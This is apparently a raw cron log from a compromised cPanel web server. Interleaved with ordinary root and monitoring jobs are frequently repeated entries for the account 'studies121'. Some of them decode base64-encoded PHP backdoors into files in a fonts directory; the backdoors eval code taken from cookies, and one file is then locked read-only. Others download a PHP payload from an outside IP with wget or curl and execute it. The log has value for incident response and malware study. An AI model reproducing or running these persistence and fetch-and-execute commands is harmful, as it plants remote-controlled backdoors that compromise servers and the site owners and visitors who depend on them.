Sep  7 01:10:01 ip-184-168-122-23 CROND[23381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:10:01 ip-184-168-122-23 CROND[23383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:10:01 ip-184-168-122-23 CROND[23382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:11:01 ip-184-168-122-23 CROND[23473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:11:01 ip-184-168-122-23 CROND[23475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:11:01 ip-184-168-122-23 CROND[23477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:11:01 ip-184-168-122-23 CROND[23476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:12:01 ip-184-168-122-23 CROND[23554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:12:01 ip-184-168-122-23 CROND[23556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:12:01 ip-184-168-122-23 CROND[23558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:12:01 ip-184-168-122-23 CROND[23557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:12:01 ip-184-168-122-23 CROND[23559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:13:01 ip-184-168-122-23 CROND[23638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:13:01 ip-184-168-122-23 CROND[23640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:13:01 ip-184-168-122-23 CROND[23639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:13:01 ip-184-168-122-23 CROND[23641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:14:02 ip-184-168-122-23 CROND[23808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:14:02 ip-184-168-122-23 CROND[23810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:14:02 ip-184-168-122-23 CROND[23812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:14:02 ip-184-168-122-23 CROND[23811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:14:02 ip-184-168-122-23 CROND[23813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:15:02 ip-184-168-122-23 CROND[23902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:15:02 ip-184-168-122-23 CROND[23904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:15:02 ip-184-168-122-23 CROND[23908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:15:02 ip-184-168-122-23 CROND[23907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:15:02 ip-184-168-122-23 CROND[23906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:15:02 ip-184-168-122-23 CROND[23909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:16:01 ip-184-168-122-23 CROND[23991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:16:01 ip-184-168-122-23 CROND[23993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:16:01 ip-184-168-122-23 CROND[23995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:16:02 ip-184-168-122-23 CROND[23997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:16:02 ip-184-168-122-23 CROND[23998]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:16:02 ip-184-168-122-23 CROND[24000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:17:01 ip-184-168-122-23 CROND[24078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:17:01 ip-184-168-122-23 CROND[24080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:17:01 ip-184-168-122-23 CROND[24082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:17:01 ip-184-168-122-23 CROND[24081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:18:01 ip-184-168-122-23 CROND[24170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:18:01 ip-184-168-122-23 CROND[24171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:18:01 ip-184-168-122-23 CROND[24175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:18:01 ip-184-168-122-23 CROND[24176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:18:01 ip-184-168-122-23 CROND[24174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:19:01 ip-184-168-122-23 CROND[24262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:19:01 ip-184-168-122-23 CROND[24264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:19:01 ip-184-168-122-23 CROND[24265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:19:01 ip-184-168-122-23 CROND[24266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:20:01 ip-184-168-122-23 CROND[24354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:20:01 ip-184-168-122-23 CROND[24357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:20:01 ip-184-168-122-23 CROND[24364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:21:01 ip-184-168-122-23 CROND[24450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:21:01 ip-184-168-122-23 CROND[24453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:21:01 ip-184-168-122-23 CROND[24452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:21:01 ip-184-168-122-23 CROND[24454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:22:01 ip-184-168-122-23 CROND[24618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:22:01 ip-184-168-122-23 CROND[24620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:22:01 ip-184-168-122-23 CROND[24619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
